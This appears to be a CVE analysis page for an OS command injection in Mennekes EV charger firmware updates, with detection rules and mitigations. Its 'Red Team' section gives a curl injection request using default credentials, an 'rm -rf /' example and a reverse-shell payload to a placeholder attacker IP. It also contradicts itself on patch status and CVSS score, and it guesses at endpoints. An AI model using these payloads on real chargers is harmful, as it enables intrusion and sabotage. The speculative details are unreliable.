☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-22366

CVE-2025-22366 OS Command Injection in Mennekes
📅 PUBLISHED: 2025-03-11 13:40 UTC 🔄 UPDATED: 2026-10-11 17:42 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v2.15 — source: DIVD. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.65%
👁️
0.65% probability
16.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-22366 exposes a critical OS command injection vulnerability in the authenticated firmware update mechanism of Mennekes Smart and Premium charging points. An attacker with valid credentials can craft a malicious firmware update payload that, when processed by the device, executes arbitrary operating system commands due to improper neutralization of special elements used in OS commands (CWE-78). This flaw allows for full compromise of the charging station, potentially enabling lateral movement within the EV charging infrastructure, data exfiltration, or disruption of charging services. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in embedded systems manufactured by Mennekes.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • Attack Vector (AV): Network – The firmware update is performed over the network.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): Low – Authentication is required to initiate the firmware update.
  • User Interaction (UI): None – No user interaction is needed beyond the authenticated session.
  • Scope (S): Unchanged – The vulnerability affects only the vulnerable component.
  • Confidentiality (C): High – Full system compromise allows reading of all data.
  • Integrity (I): High – Full system compromise allows modification of all data.
  • Availability (A): High – Full system compromise allows denial of service.

Threat Level: Critical. The ability to execute arbitrary commands on a network-connected industrial control device poses a severe risk to operational technology (OT) environments.

Deep Dive & Mechanics

The vulnerability resides in the firmware update handler of Mennekes Smart and Premium charging points. The device accepts a firmware image via an authenticated web interface or API. The update process likely involves parsing metadata fields (e.g., version number, device model, checksum) from the uploaded file or request parameters. These fields are then passed to the underlying operating system (e.g., Linux shell) to perform actions such as extracting the archive, verifying signatures, or writing to flash memory.

The flaw is that the application does not properly sanitize or escape these fields before incorporating them into OS commands. For example, a field like firmware_version might be used in a command such as:

unzip /tmp/update_$firmware_version.zip -d /firmware/

If an attacker provides a value like 1.0; rm -rf /, the command becomes:

unzip /tmp/update_1.0; rm -rf /.zip -d /firmware/

This results in the execution of rm -rf / after the unzip command, leading to a denial of service or worse.

The attack surface is limited to authenticated users, but default credentials or weak passwords could allow exploitation. The vulnerability is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical vulnerable code snippet and its patched version are provided.

Vulnerable Code (Python-like pseudocode):

import subprocess
import os

def handle_firmware_update(file_path, version):
    # Vulnerable: version is directly concatenated into the command
    cmd = f"unzip {file_path} -d /firmware/update_{version}"
    subprocess.call(cmd, shell=True)

Patched Code:

import subprocess
import shlex

def handle_firmware_update(file_path, version):
    # Patched: Use shlex.quote() to escape shell metacharacters
    safe_version = shlex.quote(version)
    cmd = f"unzip {file_path} -d /firmware/update_{safe_version}"
    subprocess.call(cmd, shell=True)

The patched version uses shlex.quote() to ensure that any special characters in the version string are escaped, preventing command injection. Additionally, using subprocess.run() with a list of arguments (instead of shell=True) would be a more robust defense.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Network access to the Mennekes charging point.
  • Valid credentials (e.g., admin/admin or obtained via brute-force/phishing).

Exploitation Steps:

  1. Reconnaissance: Identify the firmware update endpoint (e.g., /cgi-bin/update.cgi or /api/firmware/update).
  2. Craft Payload: Create a malicious firmware update request. For example, using curl:
    curl -X POST -u admin:admin \
      -F "file=@malicious_firmware.bin" \
      -F "version=1.0; id; whoami; uname -a" \
      http://<target_ip>/cgi-bin/update.cgi
    
  3. Execute: Send the request. The injected commands (id, whoami, uname -a) will be executed on the device.
  4. Establish Persistence: Use the command injection to drop a reverse shell or add an SSH key.

Example Reverse Shell Payload:

version=1.0; bash -c 'exec bash -i &>/dev/tcp/<attacker_ip>/4444 <&1'

Blue Team

Detection:

  • Monitor for unusual HTTP POST requests to firmware update endpoints.
  • Look for shell metacharacters (;, |, &, $, `) in request parameters.
  • Analyze network traffic for outbound connections from charging points to unknown IPs on unusual ports.

Hunting:

  • Search logs for commands like id, whoami, uname, wget, curl, or bash originating from the firmware update process.
  • Check for unexpected processes or files in /tmp/ or /firmware/.

Mitigation:

  • Restrict network access to the charging point's management interface to trusted IPs only.
  • Enforce strong, unique passwords and multi-factor authentication.
  • Monitor vendor advisories for a patch and apply it immediately.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP POST requests to /cgi-bin/update.cgi or similar endpoints with shell metacharacters in parameters.
    • Outbound connections from the charging point to IPs on ports 4444, 8080, or 1337 (common reverse shell ports).
    • Unusual DNS queries or HTTP requests to domains associated with C2 infrastructure.
  • Host IOCs:

    • Unexpected files in /tmp/ or /firmware/ directories.
    • Processes running as root with names like bash, sh, nc, or python.
    • Modified system binaries or configuration files.
    • Presence of SSH authorized_keys for unknown users.
  • Log IOCs:

    • Log entries containing shell commands (e.g., id, whoami, uname) in the firmware update logs.
    • Failed login attempts followed by successful exploitation.

Detection Engineering

YARA Rule

rule CVE_2025_22366_Mennekes_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Mennekes charging point firmware update"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22366"
    strings:
        $cmd_inject1 = /version=[^&]*[;&|`$]/
        $cmd_inject2 = /firmware_version=[^&]*[;&|`$]/
        $cmd_inject3 = /model=[^&]*[;&|`$]/
    condition:
        any of them
}

Sigma Rule

title: Mennekes Charging Point Firmware Update Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects command injection attempts in Mennekes charging point firmware update requests
author: Valters IT
date: 2025-04-10
references:
    - CVE-2025-22366
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'version='
            - 'firmware_version='
            - 'model='
        cs-uri-query|re:
            - '.*[;&|`$].*'
    condition: selection
falsepositives:
    - Legitimate firmware updates with special characters in version strings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-22366 Mennekes Charging Point Firmware Update Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/update.cgi";
    http_uri;
    pcre:"/(version|firmware_version|model)=[^&]*[;&|`$]/Ui";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-22366;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate: Place affected Mennekes charging points on a separate VLAN with strict firewall rules. Block all inbound traffic to the management interface from untrusted networks.
  2. Credential Hardening: Change all default passwords and implement strong password policies. Enable multi-factor authentication if supported.
  3. Monitor: Deploy the provided detection rules to identify exploitation attempts.

Long-Term Fix:

  • Vendor Patch: Await an official firmware update from Mennekes that properly sanitizes user input in the firmware update process. Apply the patch as soon as it is released.
  • Code Review: If source code is available, review all OS command executions and replace them with safer API calls (e.g., using parameterized functions instead of shell commands).
  • Input Validation: Implement strict input validation and sanitization for all fields passed to OS commands. Use allowlists instead of blocklists.

Workaround:

  • Disable the firmware update functionality if not required, or restrict it to a dedicated, isolated management station.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-22366/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.